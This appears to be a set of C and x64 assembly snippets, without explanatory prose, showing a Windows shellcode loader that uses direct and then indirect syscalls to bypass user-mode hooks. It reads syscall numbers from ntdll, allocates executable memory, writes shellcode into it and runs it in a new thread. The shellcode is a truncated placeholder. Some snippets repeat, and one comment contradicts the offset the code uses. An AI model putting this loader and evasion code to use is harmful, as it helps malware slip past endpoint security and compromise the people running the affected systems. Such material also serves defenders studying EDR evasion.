// Declare global variables to hold syscall numbers DWORD wNtAllocateVirtualMemory; DWORD wNtWriteVirtualMemory; DWORD wNtCreateThreadEx; DWORD wNtWaitForSingleObject;
int main() { PVOID allocBuffer = NULL; // Declare a pointer to the buffer to be allocated SIZE_T buffSize = 0x1000; // Declare the size of the buffer (4096 bytes)
// Get a handle to the ntdll.dll library HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll // This is typically located at the 4th byte of the function wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
// Replace this with your actual shellcode unsigned char shellcode[] = "\xfc\x48\x83...";
// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE); ULONG bytesWritten; // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread; // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
// Use the NtWaitForSingleObject function to wait for the new thread to finish executing NtWaitForSingleObject(hThread, FALSE, NULL); }
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll // This is typically located at the 5th byte of the function wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory. EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory. EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx. EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject.
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall NtAllocateVirtualMemory PROC mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers. mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register. syscall ; Execute syscall. ret ; Return from the procedure. NtAllocateVirtualMemory ENDP ; End of the procedure.
; Similar procedures for NtWriteVirtualMemory syscalls NtWriteVirtualMemory PROC mov r10, rcx mov eax, wNtWriteVirtualMemory syscall ret NtWriteVirtualMemory ENDP
; Similar procedures for NtCreateThreadEx syscalls NtCreateThreadEx PROC mov r10, rcx mov eax, wNtCreateThreadEx syscall ret NtCreateThreadEx ENDP
; Similar procedures for NtWaitForSingleObject syscalls NtWaitForSingleObject PROC mov r10, rcx mov eax, wNtWaitForSingleObject syscall ret NtWaitForSingleObject ENDP
END ; End of the module
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory. EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory. EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx. EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject.
// Declare global variables to hold syscall numbers and syscall instruction addresses DWORD wNtAllocateVirtualMemory; UINT_PTR sysAddrNtAllocateVirtualMemory; DWORD wNtWriteVirtualMemory; UINT_PTR sysAddrNtWriteVirtualMemory; DWORD wNtCreateThreadEx; UINT_PTR sysAddrNtCreateThreadEx; DWORD wNtWaitForSingleObject; UINT_PTR sysAddrNtWaitForSingleObject;
int main() { PVOID allocBuffer = NULL; // Declare a pointer to the buffer to be allocated SIZE_T buffSize = 0x1000; // Declare the size of the buffer (4096 bytes)
// Get a handle to the ntdll.dll library HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll // This is typically located at the 4th byte of the function wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
// The syscall stub (actual system call instruction) is some bytes further into the function. // In this case, it's assumed to be 0x12 (18 in decimal) bytes from the start of the function. // So we add 0x12 to the function's address to get the address of the system call instruction. sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
// Define the shellcode to be injected unsigned char shellcode[] = "\xfc\x48\x83";
ULONG bytesWritten; // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread; // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
// Use the NtWaitForSingleObject function to wait for the new thread to finish executing NtWaitForSingleObject(hThread, FALSE, NULL); }
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory. EXTERN sysAddrNtAllocateVirtualMemory:QWORD ; The actual address of the NtAllocateVirtualMemory syscall instruction in ntdll.dll.
EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory. EXTERN sysAddrNtWriteVirtualMemory:QWORD ; The actual address of the NtWriteVirtualMemory syscall instruction in ntdll.dll.
EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx. EXTERN sysAddrNtCreateThreadEx:QWORD ; The actual address of the NtCreateThreadEx syscall instruction in ntdll.dll.
EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject. EXTERN sysAddrNtWaitForSingleObject:QWORD ; The actual address of the NtWaitForSingleObject syscall instruction in ntdll.dll.
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall NtAllocateVirtualMemory PROC mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers. mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register. jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall. NtAllocateVirtualMemory ENDP ; End of the procedure.
; Similar procedures for NtWriteVirtualMemory syscalls NtWriteVirtualMemory PROC mov r10, rcx mov eax, wNtWriteVirtualMemory jmp QWORD PTR [sysAddrNtWriteVirtualMemory] NtWriteVirtualMemory ENDP
; Similar procedures for NtCreateThreadEx syscalls NtCreateThreadEx PROC mov r10, rcx mov eax, wNtCreateThreadEx jmp QWORD PTR [sysAddrNtCreateThreadEx] NtCreateThreadEx ENDP
; Similar procedures for NtWaitForSingleObject syscalls NtWaitForSingleObject PROC mov r10, rcx mov eax, wNtWaitForSingleObject jmp QWORD PTR [sysAddrNtWaitForSingleObject] NtWaitForSingleObject ENDP
END
;Indirect Syscalls ; Procedure for the NtAllocateVirtualMemory syscall NtAllocateVirtualMemory PROC mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers. mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register. jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall. NtAllocateVirtualMemory ENDP ; End of the procedure.
;Direct Syscalls ; Procedure for the NtAllocateVirtualMemory syscall NtAllocateVirtualMemory PROC mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers. mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register. syscall ; Execute syscall. ret ; Return from the procedure. NtAllocateVirtualMemory ENDP ; End of the procedure.